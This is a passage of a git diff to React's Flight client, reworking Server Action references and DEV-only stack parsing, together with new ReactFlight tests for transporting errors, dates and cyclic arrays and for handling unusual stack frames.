+        'Cannot bind "this" of a Server Action. Pass null or undefined as the first argument to .bind().',
+      );
     }
-    const args = ArraySlice.call(arguments, 1);
-    let boundPromise = null;
-    if (reference.bound !== null) {
-      boundPromise = Promise.resolve((reference.bound: any)).then(boundArgs =>
-        boundArgs.concat(args),
+  }
+
+  const args = ArraySlice.call(arguments, 1);
+  let boundPromise = null;
+  if (referenceClosure.bound !== null) {
+    boundPromise = Promise.resolve((referenceClosure.bound: any)).then(
+      boundArgs => boundArgs.concat(args),
+    );
+  } else {
+    boundPromise = Promise.resolve(args);
+  }
+
+  knownServerReferences.set(newFn, {
+    id: referenceClosure.id,
+    originalBind: newFn.bind,
+    bound: boundPromise,
+  });
+
+  // Expose encoder for use by SSR, as well as a special bind that can be used to
+  // keep server capabilities.
+  if (usedWithSSR) {
+    // Only expose this in builds that would actually use it. Not needed on the client.
+    Object.defineProperties((newFn: any), {
+      $$FORM_ACTION: {value: this.$$FORM_ACTION},
+      $$IS_SIGNATURE_EQUAL: {value: isSignatureEqual},
+      bind: {value: bind},
+    });
+  }
+
+  return newFn;
+}
+
+export type FindSourceMapURLCallback = (
+  fileName: string,
+  environmentName: string,
+) => null | string;
+
+export function createBoundServerReference<A: Iterable<any>, T>(
+  metaData: {
+    id: ServerReferenceId,
+    bound: null | Thenable<Array<any>>,
+    name?: string, // DEV-only
+    env?: string, // DEV-only
+    location?: ReactFunctionLocation, // DEV-only
+  },
+  callServer: CallServerCallback,
+  encodeFormAction?: EncodeFormActionCallback,
+  findSourceMapURL?: FindSourceMapURLCallback, // DEV-only
+): (...A) => Promise<T> {
+  const id = metaData.id;
+  const bound = metaData.bound;
+  let action = function (): Promise<T> {
+    // $FlowFixMe[method-unbinding]
+    const args = Array.prototype.slice.call(arguments);
+    const p = bound;
+    if (!p) {
+      return callServer(id, args);
+    }
+    if (p.status === 'fulfilled') {
+      const boundArgs = p.value;
+      return callServer(id, boundArgs.concat(args));
+    }
+    // Since this is a fake Promise whose .then doesn't chain, we have to wrap it.
+    // TODO: Remove the wrapper once that's fixed.
+    return ((Promise.resolve(p): any): Promise<Array<any>>).then(
+      function (boundArgs) {
+        return callServer(id, boundArgs.concat(args));
+      },
+    );
+  };
+  if (__DEV__) {
+    const location = metaData.location;
+    if (location) {
+      const functionName = metaData.name || '';
+      const [, filename, line, col] = location;
+      const env = metaData.env || 'Server';
+      const sourceMap =
+        findSourceMapURL == null ? null : findSourceMapURL(filename, env);
+      action = createFakeServerFunction(
+        functionName,
+        filename,
+        sourceMap,
+        line,
+        col,
+        env,
+        action,
       );
+    }
+  }
+  registerBoundServerReference(action, id, bound, encodeFormAction);
+  return action;
+}
+
+// This matches either of these V8 formats.
+//     at name (filename:0:0)
+//     at filename:0:0
+//     at async filename:0:0
+const v8FrameRegExp =
+  /^ {3} at (?:(.+) \((.+):(\d+):(\d+)\)|(?:async )?(.+):(\d+):(\d+))$/;
+// This matches either of these JSC/SpiderMonkey formats.
+// name@filename:0:0
+// filename:0:0
+const jscSpiderMonkeyFrameRegExp = /(?:(.*)@)?(.*):(\d+):(\d+)/;
+
+function parseStackLocation(error: Error): null | ReactFunctionLocation {
+  // This parsing is special in that we know that the calling function will always
+  // be a module that initializes the server action. We also need this part to work
+  // cross-browser so not worth a Config. It's DEV only so not super code size
+  // sensitive but also a non-essential feature.
+  let stack = error.stack;
+  if (stack.startsWith('Error: react-stack-top-frame\n')) {
+    // V8's default formatting prefixes with the error message which we
+    // don't want/need.
+    stack = stack.slice(29);
+  }
+  const endOfFirst = stack.indexOf('\n');
+  let secondFrame;
+  if (endOfFirst !== -1) {
+    // Skip the first frame.
+    const endOfSecond = stack.indexOf('\n', endOfFirst + 1);
+    if (endOfSecond === -1) {
+      secondFrame = stack.slice(endOfFirst + 1);
     } else {
-      boundPromise = Promise.resolve(args);
+      secondFrame = stack.slice(endOfFirst + 1, endOfSecond);
     }
-    // Expose encoder for use by SSR, as well as a special bind that can be used to
-    // keep server capabilities.
-    if (usedWithSSR) {
-      // Only expose this in builds that would actually use it. Not needed on the client.
-      Object.defineProperties((newFn: any), {
-        $$FORM_ACTION: {value: this.$$FORM_ACTION},
-        $$IS_SIGNATURE_EQUAL: {value: isSignatureEqual},
-        bind: {value: bind},
-      });
+  } else {
+    secondFrame = stack;
+  }
+
+  let parsed = v8FrameRegExp.exec(secondFrame);
+  if (!parsed) {
+    parsed = jscSpiderMonkeyFrameRegExp.exec(secondFrame);
+    if (!parsed) {
+      return null;
     }
-    knownServerReferences.set(newFn, {id: reference.id, bound: boundPromise});
   }
-  return newFn;
+
+  let name = parsed[1] || '';
+  if (name === '<anonymous>') {
+    name = '';
+  }
+  let filename = parsed[2] || parsed[5] || '';
+  if (filename === '<anonymous>') {
+    filename = '';
+  }
+  // This is really the enclosingLine/Column.
+  const line = +(parsed[3] || parsed[6]);
+  const col = +(parsed[4] || parsed[7]);
+
+  return [name, filename, line, col];
 }
 
 export function createServerReference<A: Iterable<any>, T>(
   id: ServerReferenceId,
   callServer: CallServerCallback,
   encodeFormAction?: EncodeFormActionCallback,
+  findSourceMapURL?: FindSourceMapURLCallback, // DEV-only
+  functionName?: string,
 ): (...A) => Promise<T> {
-  const proxy = function (): Promise<T> {
+  let action = function (): Promise<T> {
     // $FlowFixMe[method-unbinding]
     const args = Array.prototype.slice.call(arguments);
     return callServer(id, args);
   };
-  registerServerReference(proxy, {id, bound: null}, encodeFormAction);
-  return proxy;
+  if (__DEV__) {
+    // Let's see if we can find a source map for the file which contained the
+    // server action. We extract it from the runtime so that it's resilient to
+    // multiple passes of compilation as long as we can find the final source map.
+    const location = parseStackLocation(new Error('react-stack-top-frame'));
+    if (location !== null) {
+      const [, filename, line, col] = location;
+      // While the environment that the Server Reference points to can be
+      // in any environment, what matters here is where the compiled source
+      // is from and that's in the currently executing environment. We hard
+      // code that as the value "Client" in case the findSourceMapURL helper
+      // needs it.
+      const env = 'Client';
+      const sourceMap =
+        findSourceMapURL == null ? null : findSourceMapURL(filename, env);
+      action = createFakeServerFunction(
+        functionName || '',
+        filename,
+        sourceMap,
+        line,
+        col,
+        env,
+        action,
+      );
+    }
+  }
+  registerBoundServerReference(action, id, null, encodeFormAction);
+  return action;
 }
diff --git a/packages/react-client/src/__tests__/ReactFlight-test.js b/packages/react-client/src/__tests__/ReactFlight-test.js
index bd2d98736add..8736b0585f1b 100644
--- a/packages/react-client/src/__tests__/ReactFlight-test.js
+++ b/packages/react-client/src/__tests__/ReactFlight-test.js
@@ -22,51 +22,55 @@ function normalizeCodeLocInfo(str) {
   return (
     str &&
     str.replace(/^ +(?:at|in) ([\S]+)[^\n]*/gm, function (m, name) {
+      const dot = name.lastIndexOf('.');
+      if (dot !== -1) {
+        name = name.slice(dot + 1);
+      }
       return '    in ' + name + (/\d/.test(m) ? ' (at **)' : '');
     })
   );
 }
 
-function normalizeComponentInfo(debugInfo) {
-  if (typeof debugInfo.stack === 'string') {
-    const {task, ...copy} = debugInfo;
-    copy.stack = normalizeCodeLocInfo(debugInfo.stack);
-    if (debugInfo.owner) {
-      copy.owner = normalizeComponentInfo(debugInfo.owner);
-    }
-    return copy;
-  } else {
-    return debugInfo;
-  }
+function normalizeReactCodeLocInfo(str) {
+  const repoRootForRegexp = __REACT_ROOT_PATH_TEST__.replace(/\//g, '\\/');
+  const repoFileLocMatch = new RegExp(`${repoRootForRegexp}.+?:\\d+:\\d+`, 'g');
+  return str && str.replace(repoFileLocMatch, '**');
 }
 
-function getDebugInfo(obj) {
-  const debugInfo = obj._debugInfo;
-  if (debugInfo) {
-    const copy = [];
-    for (let i = 0; i < debugInfo.length; i++) {
-      copy.push(normalizeComponentInfo(debugInfo[i]));
-    }
-    return copy;
-  }
-  return debugInfo;
+// If we just use the original Error prototype, Jest will only display the error message if assertions fail.
+// But we usually want to also assert on our expando properties or even the stack.
+// By hiding the fact from Jest that this is an error, it will show all enumerable properties on mismatch.
+
+function getErrorForJestMatcher(error) {
+  return {
+    ...error,
+    // non-enumerable properties that are still relevant for testing
+    message: error.message,
+    stack: normalizeReactCodeLocInfo(error.stack),
+  };
 }
 
-const heldValues = [];
-let finalizationCallback;
+const finalizationRegistries = [];
 function FinalizationRegistryMock(callback) {
-  finalizationCallback = callback;
+  this._heldValues = [];
+  this._callback = callback;
+  finalizationRegistries.push(this);
 }
 FinalizationRegistryMock.prototype.register = function (target, heldValue) {
-  heldValues.push(heldValue);
+  this._heldValues.push(heldValue);
 };
 global.FinalizationRegistry = FinalizationRegistryMock;
 
 function gc() {
-  for (let i = 0; i < heldValues.length; i++) {
-    finalizationCallback(heldValues[i]);
+  for (let i = 0; i < finalizationRegistries.length; i++) {
+    const registry = finalizationRegistries[i];
+    const callback = registry._callback;
+    const heldValues = registry._heldValues;
+    for (let j = 0; j < heldValues.length; j++) {
+      callback(heldValues[j]);
+    }
+    heldValues.length = 0;
   }
-  heldValues.length = 0;
 }
 
 let act;
@@ -81,9 +85,25 @@ let ErrorBoundary;
 let NoErrorExpected;
 let Scheduler;
 let assertLog;
+let assertConsoleErrorDev;
+let getDebugInfo;
 
 describe('ReactFlight', () => {
   beforeEach(() => {
+    // Mock performance.now for timing tests
+    let time = 10;
+    const now = jest.fn().mockImplementation(() => {
+      return time++;
+    });
+    Object.defineProperty(performance, 'timeOrigin', {
+      value: time,
+      configurable: true,
+    });
+    Object.defineProperty(performance, 'now', {
+      value: now,
+      configurable: true,
+    });
+
     jest.resetModules();
     jest.mock('react', () => require('react/react.react-server'));
     ReactServer = require('react');
@@ -102,6 +122,12 @@ describe('ReactFlight', () => {
     Scheduler = require('scheduler');
     const InternalTestUtils = require('internal-test-utils');
     assertLog = InternalTestUtils.assertLog;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
+
+    getDebugInfo = InternalTestUtils.getDebugInfo.bind(null, {
+      useV8Stack: true,
+      ignoreRscStreamInfo: true,
+    });
 
     ErrorBoundary = class extends React.Component {
       state = {hasError: false, error: null};
@@ -127,6 +153,14 @@ describe('ReactFlight', () => {
             this.props.expectedMessage,
           );
           expect(this.state.error.digest).toBe('a dev digest');
+          expect(this.state.error.environmentName).toBe(
+            this.props.expectedEnviromentName || 'Server',
+          );
+          if (this.props.expectedErrorStack !== undefined) {
+            expect(this.state.error.stack).toContain(
+              this.props.expectedErrorStack,
+            );
+          }
         } else {
           expect(this.state.error.message).toBe(
             'An error occurred in the Server Components render. The specific message is omitted in production' +
@@ -143,6 +177,7 @@ describe('ReactFlight', () => {
             expectedDigest = '[]';
           }
           expect(this.state.error.digest).toContain(expectedDigest);
+          expect(this.state.error.environmentName).toBe(undefined);
           expect(this.state.error.stack).toBe(
             'Error: ' + this.state.error.message,
           );
@@ -223,6 +258,7 @@ describe('ReactFlight', () => {
     });
   });
 
+  // @gate !__DEV__ || enableComponentPerformanceTrack
   it('can render a Client Component using a module reference and render there', async () => {
     function UserClient(props) {
       return (
@@ -249,14 +285,18 @@ describe('ReactFlight', () => {
       expect(getDebugInfo(greeting)).toEqual(
         __DEV__
           ? [
+              {time: 12},
               {
                 name: 'Greeting',
                 env: 'Server',
-                owner: null,
-                stack: gate(flag => flag.enableOwnerStacks)
-                  ? '    in Object.<anonymous> (at **)'
-                  : undefined,
+                key: null,
+                stack: '    in Object.<anonymous> (at **)',
+                props: {
+                  firstName: 'Seb',
+                  lastName: 'Smith',
+                },
               },
+              {time: 13},
             ]
           : undefined,
       );
@@ -266,6 +306,7 @@ describe('ReactFlight', () => {
     expect(ReactNoop).toMatchRenderedOutput(<span>Hello, Seb Smith</span>);
   });
 
+  // @gate !__DEV__ || enableComponentPerformanceTrack
   it('can render a shared forwardRef Component', async () => {
     const Greeting = React.forwardRef(function Greeting(
       {firstName, lastName},
@@ -283,22 +324,26 @@ describe('ReactFlight', () => {
     const transport = ReactNoopFlightServer.render(root);
 
     await act(async () => {
-      const promise = ReactNoopFlightClient.read(transport);
-      expect(getDebugInfo(promise)).toEqual(
+      const result = await ReactNoopFlightClient.read(transport);
+      expect(getDebugInfo(result)).toEqual(
         __DEV__
           ? [
+              {time: 12},
               {
                 name: 'Greeting',
                 env: 'Server',
-                owner: null,
-                stack: gate(flag => flag.enableOwnerStacks)
-                  ? '    in Object.<anonymous> (at **)'
-                  : undefined,
+                key: null,
+                stack: '    in Object.<anonymous> (at **)',
+                props: {
+                  firstName: 'Seb',
+                  lastName: 'Smith',
+                },
               },
+              {time: 13},
             ]
           : undefined,
       );
-      ReactNoop.render(await promise);
+      ReactNoop.render(result);
     });
 
     expect(ReactNoop).toMatchRenderedOutput(<span>Hello, Seb Smith</span>);
@@ -600,6 +645,399 @@ describe('ReactFlight', () => {
       `);
   });
 
+  it('can transport Date as a top-level value', async () => {
+    const date = new Date(0);
+    const transport = ReactNoopFlightServer.render(date);
+
+    let readValue;
+    await act(async () => {
+      readValue = await ReactNoopFlightClient.read(transport);
+    });
+
+    expect(readValue).toEqual(date);
+  });
+
+  it('can transport Error objects as values', async () => {
+    class CustomError extends Error {
+      constructor(message) {
+        super(message);
+        this.name = 'Custom';
+      }
+    }
+
+    function ComponentClient({prop}) {
+      return `
+        is error: ${prop instanceof Error}
+        name: ${prop.name}
+        message: ${prop.message}
+        stack: ${normalizeCodeLocInfo(prop.stack).split('\n').slice(0, 2).join('\n')}
+        environmentName: ${prop.environmentName}
+      `;
+    }
+    const Component = clientReference(ComponentClient);
+
+    function ServerComponent() {
+      const error = new CustomError('hello');
+      return <Component prop={error} />;
+    }
+
+    const transport = ReactNoopFlightServer.render(<ServerComponent />);
+
+    await act(async () => {
+      ReactNoop.render(await ReactNoopFlightClient.read(transport));
+    });
+
+    if (__DEV__) {
+      expect(ReactNoop).toMatchRenderedOutput(`
+        is error: true
+        name: Custom
+        message: hello
+        stack: Custom: hello
+    in ServerComponent (at **)
+        environmentName: Server
+      `);
+    } else {
+      expect(ReactNoop).toMatchRenderedOutput(`
+        is error: true
+        name: Error
+        message: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.
+        stack: Error: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.
+        environmentName: undefined
+      `);
+    }
+  });
+
+  it('can transport Error.cause', async () => {
+    function renderError(error) {
+      if (!(error instanceof Error)) {
+        return `${JSON.stringify(error)}`;
+      }
+      return `
+        is error: ${error instanceof Error}
+        name: ${error.name}
+        message: ${error.message}
+        stack: ${normalizeCodeLocInfo(error.stack).split('\n').slice(0, 2).join('\n')}
+        environmentName: ${error.environmentName}
+        cause: ${'cause' in error ? renderError(error.cause) : 'no cause'}`;
+    }
+    function ComponentClient({error}) {
+      return renderError(error);
+    }
+    const Component = clientReference(ComponentClient);
+
+    function ServerComponent() {
+      const cause = new TypeError('root cause', {
+        cause: {type: 'object cause'},
+      });
+      const error = new Error('hello', {cause});
+      return <Component error={error} />;
+    }
+
+    const transport = ReactNoopFlightServer.render(<ServerComponent />, {
+      onError(x) {
+        if (__DEV__) {
+          return 'a dev digest';
+        }
+        return `digest("${x.message}")`;
+      },
+    });
+
+    await act(() => {
+      ReactNoop.render(ReactNoopFlightClient.read(transport));
+    });
+
+    if (__DEV__) {
+      expect(ReactNoop).toMatchRenderedOutput(`
+        is error: true
+        name: Error
+        message: hello
+        stack: Error: hello
+    in ServerComponent (at **)
+        environmentName: Server
+        cause: 
+        is error: true
+        name: TypeError
+        message: root cause
+        stack: TypeError: root cause
+    in ServerComponent (at **)
+        environmentName: Server
+        cause: {"type":"object cause"}`);
+    } else {
+      expect(ReactNoop).toMatchRenderedOutput(`
+        is error: true
+        name: Error
+        message: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.
+        stack: Error: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.
+        environmentName: undefined
+        cause: no cause`);
+    }
+  });
+
+  it('includes Error.cause in thrown errors', async () => {
+    function renderError(error) {
+      if (!(error instanceof Error)) {
+        return `${JSON.stringify(error)}`;
+      }
+      return `
+        is error: true
+        name: ${error.name}
+        message: ${error.message}
+        stack: ${normalizeCodeLocInfo(error.stack).split('\n').slice(0, 2).join('\n')}
+        environmentName: ${error.environmentName}
+        cause: ${'cause' in error ? renderError(error.cause) : 'no cause'}`;
+    }
+
+    function ServerComponent() {
+      const cause = new TypeError('root cause', {
+        cause: {type: 'object cause'},
+      });
+      const error = new Error('hello', {cause});
+      throw error;
+    }
+
+    const transport = ReactNoopFlightServer.render(<ServerComponent />, {
+      onError(x) {
+        if (__DEV__) {
+          return 'a dev digest';
+        }
+        return `digest("${x.message}")`;
+      },
+    });
+
+    let error;
+    try {
+      await act(() => {
+        ReactNoop.render(ReactNoopFlightClient.read(transport));
+      });
+    } catch (x) {
+      error = x;
+    }
+
+    if (__DEV__) {
+      expect(renderError(error)).toEqual(`
+        is error: true
+        name: Error
+        message: hello
+        stack: Error: hello
+    in ServerComponent (at **)
+        environmentName: Server
+        cause: 
+        is error: true
+        name: TypeError
+        message: root cause
+        stack: TypeError: root cause
+    in ServerComponent (at **)
+        environmentName: Server
+        cause: {"type":"object cause"}`);
+    } else {
+      expect(renderError(error)).toEqual(`
+        is error: true
+        name: Error
+        message: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.
+        stack: Error: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.
+        environmentName: undefined
+        cause: no cause`);
+    }
+  });
+
+  it('can transport AggregateError', async () => {
+    function renderError(error) {
+      if (!(error instanceof Error)) {
+        return `${JSON.stringify(error)}`;
+      }
+      let result = `
+        is error: ${error instanceof AggregateError ? 'AggregateError' : 'Error'}
+        name: ${error.name}
+        message: ${error.message}
+        stack: ${normalizeCodeLocInfo(error.stack).split('\n').slice(0, 2).join('\n')}
+        environmentName: ${error.environmentName}
+        cause: ${'cause' in error ? renderError(error.cause) : 'no cause'}`;
+      if ('errors' in error) {
+        result += `
+        errors: [${error.errors.map(e => renderError(e)).join(',\n')}]`;
+      }
+      return result;
+    }
+    function ComponentClient({error}) {
+      return renderError(error);
+    }
+    const Component = clientReference(ComponentClient);
+
+    function ServerComponent() {
+      const error1 = new TypeError('first error');
+      const error2 = new RangeError('second error');
+      const error = new AggregateError([error1, error2], 'aggregate');
+      return <Component error={error} />;
+    }
+
+    const transport = ReactNoopFlightServer.render(<ServerComponent />, {
+      onError(x) {
+        if (__DEV__) {
+          return 'a dev digest';
+        }
+        return `digest("${x.message}")`;
+      },
+    });
+
+    await act(() => {
+      ReactNoop.render(ReactNoopFlightClient.read(transport));
+    });
+
+    if (__DEV__) {
+      expect(ReactNoop).toMatchRenderedOutput(`
+        is error: AggregateError
+        name: AggregateError
+        message: aggregate
+        stack: AggregateError: aggregate
+    in ServerComponent (at **)
+        environmentName: Server
+        cause: no cause
+        errors: [
+        is error: Error
+        name: TypeError
+        message: first error
+        stack: TypeError: first error
+    in ServerComponent (at **)
+        environmentName: Server
+        cause: no cause,
+
+        is error: Error
+        name: RangeError
+        message: second error
+        stack: RangeError: second error
+    in ServerComponent (at **)
+        environmentName: Server
+        cause: no cause]`);
+    } else {
+      expect(ReactNoop).toMatchRenderedOutput(`
+        is error: Error
+        name: Error
+        message: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.
+        stack: Error: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.
+        environmentName: undefined
+        cause: no cause`);
+    }
+  });
+
+  it('includes AggregateError.errors in thrown errors', async () => {
+    function renderError(error) {
+      if (!(error instanceof Error)) {
+        return `${JSON.stringify(error)}`;
+      }
+      let result = `
+        is error: ${error instanceof AggregateError ? 'AggregateError' : 'Error'}
+        name: ${error.name}
+        message: ${error.message}
+        stack: ${normalizeCodeLocInfo(error.stack).split('\n').slice(0, 2).join('\n')}
+        environmentName: ${error.environmentName}
+        cause: ${'cause' in error ? renderError(error.cause) : 'no cause'}`;
+      if ('errors' in error) {
+        result += `
+        errors: [${error.errors.map(e => renderError(e)).join(',\n')}]`;
+      }
+      return result;
+    }
+
+    function ServerComponent() {
+      const error1 = new TypeError('first error');
+      const error2 = new RangeError('second error');
+      const error3 = new Error('third error');
+      const error4 = new Error('fourth error');
+      const error5 = new Error('fifth error');
+      const error6 = new Error('sixth error');
+      const error = new AggregateError(
+        [error1, error2, error3, error4, error5, error6],
+        'aggregate',
+      );
+      throw error;
+    }
+
+    const transport = ReactNoopFlightServer.render(<ServerComponent />, {
+      onError(x) {
+        if (__DEV__) {
+          return 'a dev digest';
+        }
+        return `digest("${x.message}")`;
+      },
+    });
+
+    let error;
+    try {
+      await act(() => {
+        ReactNoop.render(ReactNoopFlightClient.read(transport));
+      });
+    } catch (x) {
+      error = x;
+    }
+
+    if (__DEV__) {
+      expect(renderError(error)).toEqual(`
+        is error: AggregateError
+        name: AggregateError
+        message: aggregate
+        stack: AggregateError: aggregate
+    in ServerComponent (at **)
+        environmentName: Server
+        cause: no cause
+        errors: [
+        is error: Error
+        name: TypeError
+        message: first error
+        stack: TypeError: first error
+    in ServerComponent (at **)
+        environmentName: Server
+        cause: no cause,
+
+        is error: Error
+        name: RangeError
+        message: second error
+        stack: RangeError: second error
+    in ServerComponent (at **)
+        environmentName: Server
+        cause: no cause,
+
+        is error: Error
+        name: Error
+        message: third error
+        stack: Error: third error
+    in ServerComponent (at **)
+        environmentName: Server
+        cause: no cause,
+
+        is error: Error
+        name: Error
+        message: fourth error
+        stack: Error: fourth error
+    in ServerComponent (at **)
+        environmentName: Server
+        cause: no cause,
+
+        is error: Error
+        name: Error
+        message: fifth error
+        stack: Error: fifth error
+    in ServerComponent (at **)
+        environmentName: Server
+        cause: no cause,
+
+        is error: Error
+        name: Error
+        message: sixth error
+        stack: Error: sixth error
+    in ServerComponent (at **)
+        environmentName: Server
+        cause: no cause]`);
+    } else {
+      expect(renderError(error)).toEqual(`
+        is error: Error
+        name: Error
+        message: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.
+        stack: Error: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.
+        environmentName: undefined
+        cause: no cause`);
+    }
+  });
+
   it('can transport cyclic objects', async () => {
     function ComponentClient({prop}) {
       expect(prop.obj.obj.obj).toBe(prop.obj.obj);
@@ -617,6 +1055,25 @@ describe('ReactFlight', () => {
     });
   });
 
+  it('can transport cyclic arrays', async () => {
+    function ComponentClient({prop, obj}) {
+      expect(prop[1]).toBe(prop);
+      expect(prop[0]).toBe(obj);
+    }
+    const Component = clientReference(ComponentClient);
+
+    const obj = {};
+    const cyclic = [obj];
+    cyclic[1] = cyclic;
+    const model = <Component prop={cyclic} obj={obj} />;
+
+    const transport = ReactNoopFlightServer.render(model);
+
+    await act(async () => {
+      ReactNoop.render(await ReactNoopFlightClient.read(transport));
+    });
+  });
+
   it('can render a lazy component as a shared component on the server', async () => {
     function SharedComponent({text}) {
       return (
@@ -690,14 +1147,22 @@ describe('ReactFlight', () => {
 
     const transport = ReactNoopFlightServer.render(<ServerComponent />);
 
-    await act(async () => {
-      const rootModel = await ReactNoopFlightClient.read(transport);
-      ReactNoop.render(rootModel);
-    });
-    expect(ReactNoop).toMatchRenderedOutput('Loading...');
-    spyOnDevAndProd(console, 'error').mockImplementation(() => {});
     await load();
-    expect(console.error).toHaveBeenCalledTimes(1);
+
+    await expect(async () => {
+      await act(async () => {
+        const rootModel = await ReactNoopFlightClient.read(transport);
+        ReactNoop.render(rootModel);
+      });
+    }).rejects.toThrow(
+      __DEV__
+        ? 'Element type is invalid: expected a string (for built-in components) or a class/function ' +
+            '(for composite components) but got: <div />. ' +
+            'Did you accidentally export a JSX literal instead of a component?'
+        : 'Element type is invalid: expected a string (for built-in components) or a class/function ' +
+            '(for composite components) but got: object.',
+    );
+    expect(ReactNoop).toMatchRenderedOutput(null);
   });
 
   it('can render a lazy element', async () => {
@@ -951,7 +1416,6 @@ describe('ReactFlight', () => {
     });
   });
 
-  // @gate renameElementSymbol
   it('should emit descriptions of errors in dev', async () => {
     const ClientErrorBoundary = clientReference(ErrorBoundary);
 
@@ -1144,6 +1608,150 @@ describe('ReactFlight', () => {
     });
   });
 
+  it('should handle exotic stack frames', async () => {
+    function ServerComponent() {
+      const error = new Error('This is an error');
+      const originalStackLines = error.stack.split('\n');
+      // Fake a stack
+      error.stack = [
+        originalStackLines[0],
+        // original
+        // '    at ServerComponentError (file://~/react/packages/react-client/src/__tests__/ReactFlight-test.js:1166:19)',
+        // nested eval (https://github.com/ChromeDevTools/devtools-frontend/blob/831be28facb4e85de5ee8c1acc4d98dfeda7a73b/test/unittests/front_end/panels/console/ErrorStackParser_test.ts#L198)
+        '    at eval (eval at testFunction (inspected-page.html:29:11), <anonymous>:1:10)',
+        // parens may be added by Webpack when bundle layers are used. They're also valid in directory names.
+        '    at ServerComponentError (file://~/(some)(really)(exotic-directory)/ReactFlight-test.js:1166:19)',
+        // anon function (https://github.com/ChromeDevTools/devtools-frontend/blob/831be28facb4e85de5ee8c1acc4d98dfeda7a73b/test/unittests/front_end/panels/console/ErrorStackParser_test.ts#L115C9-L115C35)
+        '    at file:///testing.js:42:3',
+        // async anon function (https://github.com/ChromeDevTools/devtools-frontend/blob/831be28facb4e85de5ee8c1acc4d98dfeda7a73b/test/unittests/front_end/panels/console/ErrorStackParser_test.ts#L130C9-L130C41)
+        '    at async file:///testing.js:42:3',
+        // third-party RSC frame
+        // Ideally this would be a real frame produced by React not a mocked one.
+        '    at ThirdParty (about://React/ThirdParty/file:///code/%5Broot%2520of%2520the%2520server%5D.js?42:1:1)',
+        // We'll later filter this out based on line/column in `filterStackFrame`.
+        '    at ThirdPartyModule (file:///file-with-index-source-map.js:52656:16374)',
+        // host component in parent stack
+        '    at div (<anonymous>)',
+        ...originalStackLines.slice(2),
+      ].join('\n');
+      throw error;
+    }
+
+    const findSourceMapURL = jest.fn(() => null);
+    const errors = [];
+    class MyErrorBoundary extends React.Component {
+      state = {error: null};
+      static getDerivedStateFromError(error) {
+        return {error};
+      }
+      componentDidCatch(error, componentInfo) {
+        errors.push(error);
+      }
+      render() {
+        if (this.state.error) {
+          return null;
+        }
+        return this.props.children;
+      }
+    }
+    const ClientErrorBoundary = clientReference(MyErrorBoundary);
+
+    function App() {
+      return ReactServer.createElement(
+        ClientErrorBoundary,
+        null,
+        ReactServer.createElement(ServerComponent),
+      );
+    }
+
+    const transport = ReactNoopFlightServer.render(<App />, {
+      onError(x) {
+        if (__DEV__) {
+          return 'a dev digest';
+        }
+        if (x instanceof Error) {
+          return `digest("${x.message}")`;
+        } else if (Array.isArray(x)) {
+          return `digest([])`;
+        } else if (typeof x === 'object' && x !== null) {
+          return `digest({})`;
+        }
+        return `digest(${String(x)})`;
+      },
+      filterStackFrame(filename, functionName, lineNumber, columnNumber) {
+        if (lineNumber === 52656 && columnNumber === 16374) {
+          return false;
+        }
+        if (!filename) {
+          // Allow anonymous
+          return functionName === 'div';
+        }
+        return (
+          !filename.startsWith('node:') &&
+          !filename.includes('node_modules') &&
+          // sourceURL from an ES module in `/code/[root of the server].js`
+          filename !== 'file:///code/[root%20of%20the%20server].js'
+        );
+      },
+    });
+
+    await act(() => {
+      startTransition(() => {
+        ReactNoop.render(
+          ReactNoopFlightClient.read(transport, {findSourceMapURL}),
+        );
+      });
+    });
+
+    if (__DEV__) {
+      expect({
+        errors: errors.map(getErrorForJestMatcher),
+        findSourceMapURLCalls: findSourceMapURL.mock.calls,
+      }).toEqual({
+        errors: [
+          {
+            message: 'This is an error',
+            name: 'Error',
+            stack: expect.stringContaining(
+              'Error: This is an error\n' +
+                '    at eval (eval at testFunction (inspected-page.html:29:11),%20%3Canonymous%3E:1:35)\n' +
+                '    at ServerComponentError (file://~/(some)(really)(exotic-directory)/ReactFlight-test.js:1166:19)\n' +
+                '    at <anonymous> (file:///testing.js:42:3)\n' +
+                '    at <anonymous> (file:///testing.js:42:3)\n' +
+                '    at div (<anonymous>',
+            ),
+            digest: 'a dev digest',
+            environmentName: 'Server',
+          },
+        ],
+        findSourceMapURLCalls: expect.arrayContaining([
+          // TODO: What should we request here? The outer (<anonymous>) or the inner (inspected-page.html)?
+          ['inspected-page.html:29:11), <anonymous>', 'Server'],
+          [
+            'file://~/(some)(really)(exotic-directory)/ReactFlight-test.js',
+            'Server',
+          ],
+          ['file:///testing.js', 'Server'],
+          ['', 'Server'],
+        ]),
+      });
+    } else {
+      expect(errors.map(getErrorForJestMatcher)).toEqual([
+        {
+          message:
+            'An error occurred in the Server Components render. The specific message is omitted in production' +
+            ' builds to avoid leaking sensitive details. A digest property is included on this error instance which' +
+            ' may provide additional details about the nature of the error.',
+          stack:
+            'Error: An error occurred in the Server Components render. The specific message is omitted in production' +
+            ' builds to avoid leaking sensitive details. A digest property is included on this error instance which' +
+            ' may provide additional details about the nature of the error.',
+          digest: 'digest("This is an error")',
+        },
+      ]);
+    }
+  });
+
   it('should include server components in warning stacks', async () => {
     function Component() {
       // Trigger key warning
@@ -1166,23 +1774,19 @@ describe('ReactFlight', () => {
 
     const transport = ReactNoopFlightServer.render(<App />);
 
-    await expect(async () => {
-      await act(() => {
-        startTransition(() => {
-          ReactNoop.render(ReactNoopFlightClient.read(transport));
-        });
+    await act(() => {
